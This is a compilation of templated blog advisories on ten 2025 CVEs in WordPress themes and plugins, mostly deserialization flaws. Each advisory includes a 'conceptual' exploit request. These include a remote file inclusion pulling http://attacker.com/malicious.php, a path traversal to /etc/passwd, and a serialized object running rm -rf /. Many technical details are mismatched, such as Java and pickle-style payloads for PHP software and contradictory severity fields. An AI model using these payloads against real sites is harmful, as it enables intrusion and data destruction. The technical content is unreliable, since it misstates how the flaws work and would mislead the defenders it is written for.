Author: Ameeba

Overview

The cybersecurity landscape is continually evolving, with new threats and vulnerabilities emerging daily. One such vulnerability, recently identified as CVE-2025-39354, presents a severe risk to users of the Grand Conference product by ThemeGoods. This vulnerability stems from the deserialization of untrusted data, a common but often overlooked security loophole that can lead to severe consequences, including system compromise and data leakage. The significance of this vulnerability is underscored by its high CVSS severity score of 9.8, indicating a critical threat level that demands immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39354
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage due to Object Injection

Affected Products

Product | Affected Versions

ThemeGoods Grand Conference | All versions up to 5.2

How the Exploit Works

The vulnerability, CVE-2025-39354, is a deserialization of untrusted data vulnerability. It exists within the Grand Conference, a product of ThemeGoods. The flaw lies in the deserialization process, which is not adequately validating or sanitizing the incoming data. This negligence allows an attacker to craft malicious data objects that, when deserialized, can lead to arbitrary code execution. This code can then compromise the system or result in data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This example shows a malicious payload being sent to a vulnerable server, which then naively deserializes the untrusted data:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{__className:'InjectedClass', __value:{'InjectedKey':'InjectedValue'}}" }

The `malicious_payload` field contains a serialized object. When the server deserializes this object without validation, it may lead to the execution of the injected class or value, potentially compromising the system.
To mitigate the effects of this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation measure, users can also use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to filter out malicious payloads.
Remember, cybersecurity is a continuous process and requires your constant attention. Stay updated, stay safe.

Overview

The cybersecurity landscape constantly evolves, and new vulnerabilities are discovered frequently. One such recent discovery is a critical vulnerability, CVE-2025-39349, in Potenzaglobalsolutions’ CiyaShop software. This vulnerability poses a severe threat, given that CiyaShop’s popularity and widespread use in the eCommerce industry make it an attractive target for cybercriminals.
This vulnerability relates to the deserialization of untrusted data, which could potentially lead to a system compromise or data leakage. This is a cause for concern for every company that relies on CiyaShop for their eCommerce business, as a successful exploit could have severe consequences like financial loss, loss of customer trust, and legal repercussions.

Vulnerability Summary

CVE ID: CVE-2025-39349
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

CiyaShop | n/a – 4.18.0

How the Exploit Works

The vulnerability stems from CiyaShop’s insecure handling of serialized data. An attacker can craft malicious serialized objects, which, when deserialized by the application, can lead to the execution of arbitrary code. This code can run with the same privileges as the application, potentially leading to a full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. The attacker sends a serialized object containing malicious code as part of a POST request to a vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"serialized_object": "rO0ABXNyABdqYXZhLnV0aWwuSGFzaFNldLpEhZ5+4g..."
}

In the above payload, “serialized_object” is a malicious serialized Java object, which when deserialized, triggers the execution of the attacker’s code.

Mitigation

Affected users should immediately apply the patch provided by Potenzaglobalsolutions to remediate this vulnerability. If unable to apply the patch promptly, users may consider employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these are not long-term solutions, and applying the vendor patch should be prioritized.

Overview

The recent discovery of a severe vulnerability, CVE-2025-39348, in the Grand Restaurant theme of WordPress has raised significant concerns about data security and the integrity of systems using this theme. This vulnerability allows for the deserialization of untrusted data, which can lead to object injection. The impact of this vulnerability is significant; it could potentially compromise the system or lead to data leakage. As such, it is crucial for businesses and organizations using the Grand Restaurant WordPress theme to understand this vulnerability and take appropriate actions to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-39348
Severity: Critical with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ThemeGoods Grand Restaurant WordPress | Versions up to 7.0

How the Exploit Works

The vulnerability exists because the ThemeGoods Grand Restaurant WordPress theme does not properly validate user-supplied input before deserializing it. This allows an attacker to send serialized objects containing malicious data or code, which the system then deserializes and executes. This could allow an attacker to execute arbitrary code, modify data, or even take complete control of the affected system.

Conceptual Example Code

This conceptual example demonstrates how an attacker might exploit the vulnerability. This could be done via a POST request to a vulnerable endpoint, containing a serialized object with malicious data.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "O:10:\"malicious\":1:{s:4:\"code\";s:32:\"payload_that_executes_arbitrary_code\";}" }

The serialized object (`serialized_object`) contains a malicious class (`malicious`) with a property (`code`) that contains the payload to be executed when the object is deserialized.
It is worth noting that this is a simplified example. In a real-world scenario, the payload would likely be more complex and designed to exploit specific vulnerabilities in the targeted system.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently assigned the designation CVE-2025-32928 to a critical vulnerability found in ThemeGoods Altair. This serious flaw, known as a Deserialization of Untrusted Data vulnerability, presents a high risk to any system or network that relies on Altair, with the potential for system compromise or data leakage.
Given the severity of this security issue, understanding its mechanics, impacts, and potential mitigation strategies is crucial for all users and administrators of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-32928
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

ThemeGoods Altair | Through 5.2.2

How the Exploit Works

This exploit works by taking advantage of the deserialization process within ThemeGoods Altair. Typically, deserialization is used to convert byte streams into objects. However, if untrusted data is deserialized, it can result in a vulnerability that allows for the injection of malicious objects or code.
In the case of CVE-2025-32928, an attacker could send serialized data that includes a malicious object to the Altair system. When this data is deserialized by the system, the malicious object is processed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual code example of how this vulnerability might be exploited:

POST /altair/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "{malicious_object}" }

In this example, the attacker sends a POST request to a vulnerable endpoint on the target system, with the serialized malicious object included in the body of the request.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is by applying the patch provided by the vendor. In situations where applying the patch immediately is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy by identifying and blocking attempts to exploit this vulnerability.
However, it is important to note that these are temporary solutions and applying the vendor’s patch should be prioritized to fully secure your system. It’s crucial to regularly update and patch your software to prevent threats like CVE-2025-32928 from compromising your systems and data.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security vulnerability, designated CVE-2025-32927, in the FoodBakery plugin developed by Chimpstudio. This vulnerability, categorized as a deserialization of untrusted data flaw, has the potential to expose systems to malicious attacks, leading to possible data leakage or system compromise.
Given the widespread use of the FoodBakery plugin by restaurant businesses and food delivery services for online ordering and delivery functionalities, the reach of this vulnerability is broad and the consequences severe. It is of paramount importance that this vulnerability is properly understood and promptly addressed to ensure the security and integrity of systems and data.

Vulnerability Summary

CVE ID: CVE-2025-32927
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FoodBakery by Chimpstudio | n/a through 3.3

How the Exploit Works

The vulnerability arises from the deserialization of untrusted data within the FoodBakery software. Deserialization is the process of converting data from a flat format into an object. When this process is not handled correctly, it can create an opening for a malicious actor to inject harmful data into the deserialization process, leading to an object injection. With this, an attacker can execute arbitrary code within the application, potentially compromising the entire system.

Conceptual Example Code

This conceptual example illustrates how a malicious HTTP request exploiting the vulnerability could be constructed:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{serialized_object}" }

In this example, `{serialized_object}` represents a serialized object containing malicious code. When the FoodBakery software deserializes this data, it may unintentionally execute the malicious code, leading to potential system compromise or data leakage.

Mitigation

The immediate mitigation for this vulnerability is to apply the vendor’s patch, which addresses the deserialization flaw. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, this should not be seen as a long-term solution, and the vendor’s patch should be applied as soon as feasible.

Overview

The cybersecurity landscape is riddled with threats that potentially compromise systems and expose sensitive data. One such threat has been identified in the form of a critical vulnerability, CVE-2025-32926, in the Grand Restaurant WordPress Theme by ThemeGoods. This fault affects all versions of the theme up to 7.0, and can lead to severe consequences, such as system compromise or data leakage. Considering the popularity of WordPress and the widespread use of themes, this vulnerability has far-reaching implications and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-32926
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

Grand Restaurant WordPress Theme | Up to 7.0

How the Exploit Works

This vulnerability, often referred to as a Path Traversal attack, is caused by improper validation of user-supplied inputs. Attackers can manipulate these inputs to traverse the file system outside of the restricted directory. By exploiting this vulnerability, cybercriminals can gain unauthorized access to sensitive data and system files, which can lead to a full system compromise.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability:

GET /wp-content/themes/grandrestaurant/upload_file.php?file=../../../etc/passwd HTTP/1.1
Host: victim-site.com

In this example, the attacker sends a GET request to the upload_file.php script, which is part of the Grand Restaurant WordPress Theme. The `file` parameter is manipulated to move up three directory levels (via `../../../`) to access the `/etc/passwd` file, a critical system file on a Unix-based system.
This conceptual example serves to illustrate the potential severity of the vulnerability. In a real-world scenario, an attacker could attempt to access other sensitive files or directories, depending on the system’s architecture and configuration.

Overview

CVE-2025-47581 is a severe vulnerability that affects the Elbisnero WordPress Events Calendar Registration & Tickets plugin. The vulnerability lies in its deserialization of untrusted data, which allows for object injection. This creates a potential for cybercriminals to compromise systems or leak data, posing a significant threat to websites using this plugin.
The security flaw is of great concern due to the popularity of WordPress and its wide use in creating websites for various purposes, ranging from personal blogs to professional business websites. It is particularly critical for websites that handle sensitive data, where a successful exploit may lead to severe consequences.

Vulnerability Summary

CVE ID: CVE-2025-47581
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Elbisnero WordPress Events Calendar Registration & Tickets | up to 2.6.0

How the Exploit Works

The vulnerability is rooted in the plugin’s deserialization of untrusted data. Deserialization is the process of converting a stream of bytes back into a copy of the original object. However, if an attacker can manipulate the serialized data (the byte stream), they can control the structure of the deserialized object. This control may allow them to execute arbitrary code, alter data, or perform other malicious activities.

Conceptual Example Code

The following pseudocode demonstrates a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-content/plugins/elbisnero-events-calendar/endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/php-serialized-object
O:8:"Attacker":2:{s:4:"code";s:39:"system('rm -rf /'); // Arbitrary code execution";s:5:"value";s:5:"dummy";}

In this example, the attacker sends a serialized PHP object that, when deserialized by the vulnerable plugin, executes the system command ‘rm -rf /’ leading to destructive consequences.

Mitigation Guidance

Users are strongly advised to apply the vendor patch as soon as it’s available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method, ensuring that serialized objects are not accepted from untrusted sources. Regularly updating your software and employing good cybersecurity practices can also significantly reduce the risk.

Overview

In today’s blog post, we delve into an important cybersecurity vulnerability, CVE-2025-39410, that has been discovered in the widely used Smart Sections Theme Builder – WPBakery Page Builder Addon. This vulnerability pertains to deserialization of untrusted data, a common area of vulnerability in web applications that could potentially lead to system compromise or data leakage. It is crucial to understand this vulnerability due to the widespread use of the affected product across a diverse range of websites.

Vulnerability Summary

CVE ID: CVE-2025-39410
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Smart Sections Theme Builder – WPBakery Page Builder Addon | n/a through 1.7.8

How the Exploit Works

The exploit takes advantage of the Deserialization of Untrusted Data vulnerability. In essence, deserialization is the process where data is converted from a format suitable for storage or transmission back to an object. The vulnerability arises when an application deserializes data without properly validating or sanitizing it. An attacker can manipulate the serialized data to modify the application’s logic, execute arbitrary code, or instigate other malicious activities.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified representation and actual payloads would be more complex.

POST /themeBuilder/modify HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "themeData": "[malicious serialized object]" }

In this example, the attacker sends a POST request with a malicious serialized object in the `themeData` field. If the server deserializes this object without proper validation, the attacker could gain unauthorized control over the system or cause data leakage.

Recommendations for Mitigation

Users of the Smart Sections Theme Builder – WPBakery Page Builder Addon are recommended to immediately apply the patch provided by the vendor. If the patch cannot be applied immediately, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation method to guard against potential exploitation of this vulnerability. It is crucial to update the affected product to a patched version as soon as feasible to ensure optimal security.

Overview

In this blog post, we will delve into the details of a newly discovered high-risk vulnerability, CVE-2025-39406. This vulnerability has been found in mojoomla’s WPAMS and directly affects PHP programming. It’s a PHP Remote File Inclusion vulnerability, which, if exploited, could lead to a complete system compromise or significant data leakage. This vulnerability poses a significant threat given the widespread use of PHP in web development and the popularity of the WPAMS software.

Vulnerability Summary

CVE ID: CVE-2025-39406
Severity: High (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

mojoomla WPAMS | n/a through 44.0

How the Exploit Works

This vulnerability stems from an improper control of a filename for an Include/Require statement in a PHP program, specifically within the mojoomla WPAMS software. This improper control allows for a PHP Remote File Inclusion, which means an attacker could manipulate the filename to include a file from a remote server. This file could contain malicious script that is executed on the host server, potentially leading to a system compromise or data leakage.

Conceptual Example Code

In a potential exploitation scenario, an attacker might send a malicious HTTP request to a vulnerable endpoint like this:

GET /wpams.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the ‘file’ parameter is manipulated to include a PHP file from the attacker’s server (‘http://attacker.com/malicious.php’).

Recommendations for Mitigation

To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as it is available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploit attempts. Regularly updating and patching software, along with implementing secure coding practices, can also help protect against such vulnerabilities.

Overview

The vulnerability identified as CVE-2025-47582 is a critical security flaw that affects the QuantumCloud WPBot Pro WordPress Chatbot. This vulnerability concerns the deserialization of untrusted data, which can lead to possible system compromise or data leakage. Given the widespread use of WordPress Chatbot in the online world, this issue possesses serious implications for both website owners and users, potentially impacting data integrity, confidentiality, and availability.

Vulnerability Summary

CVE ID: CVE-2025-47582
Severity: Critical (CVSS v3 score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

QuantumCloud WPBot Pro WordPress Chatbot | Up to 12.7.0

How the Exploit Works

The vulnerability allows an attacker to inject malicious objects into the QuantumCloud WPBot Pro WordPress Chatbot due to improper deserialization of untrusted data. When the application deserializes untrusted data without proper validation, it can be manipulated by an attacker to alter the flow of execution, leading to arbitrary code execution, and eventually, complete system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. This is a simplified HTTP request where an attacker sends a malicious serialized object to the vulnerable endpoint:

POST /wpbot-pro/vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"serialized_object": "gANjYXNzb3NpYXRpb25zLmV4cGxvaXQKRXhwbG9pdApxACmBcQF9cQIoWAEAAAA="
}

In this example, the `serialized_object` value is a base64-encoded, serialized object that contains malicious code. When this object is deserialized by the WPBot Pro WordPress Chatbot, the malicious code is executed, leading to system compromise or data leakage.

Mitigation Guidance

It’s strongly recommended to apply the vendor-supplied patch to mitigate this vulnerability. If the patch cannot be applied immediately, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to detect and prevent attempts to exploit this vulnerability. However, these are not long-term solutions and applying the vendor’s patch as soon as possible is highly advised.